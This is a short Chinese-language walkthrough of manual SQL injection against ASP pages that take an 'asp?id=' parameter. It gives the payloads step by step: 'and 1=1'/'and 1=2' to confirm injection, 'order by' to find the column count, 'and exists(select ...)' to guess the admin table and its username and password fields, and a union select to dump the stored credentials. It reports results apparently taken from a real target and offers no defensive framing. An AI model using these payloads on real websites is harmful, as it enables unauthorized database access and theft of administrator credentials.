步驟:
1. 目標確定(asp?id=)
2. 判斷注入點(and 1=1、and 1=2)
3. 判斷列長度(order by number)
4. 猜測表名,與字段名(and exists(select column_name from table_name)
5. 聯合查詢(union select 1,2,...,admin,...,password,... from table_name)
具體步驟:
目標確定
尋找網頁中存在asp?id=:
2. 判斷是否存在注入點:
and 1=2 報錯。但是and 1=1返回正常。 表示存在注入點。
3. 判斷字段長度:
輸入order by 12 返回錯誤,輸入order by 11 返回正常
4. 猜測表名:
and exists(select * from admin)沒有報錯,說明存在admin這個表
5. 猜字段名
輸入and exists(select admin from admin)返回正常 存在admin字段
輸入 and exists(select password from admin) 返回正常 存在password表
6. 聯合查詢:
union select 1,2,3,4,5,6,7,8,9,10,11 from admin 爆出非數字類型的列
7. 爆用戶名個密碼
把非數字列的,也就是上圖中的 2 3 8 9 10 字段換成剛纔猜測出的 admin 以及 password就可以得到用戶與密碼: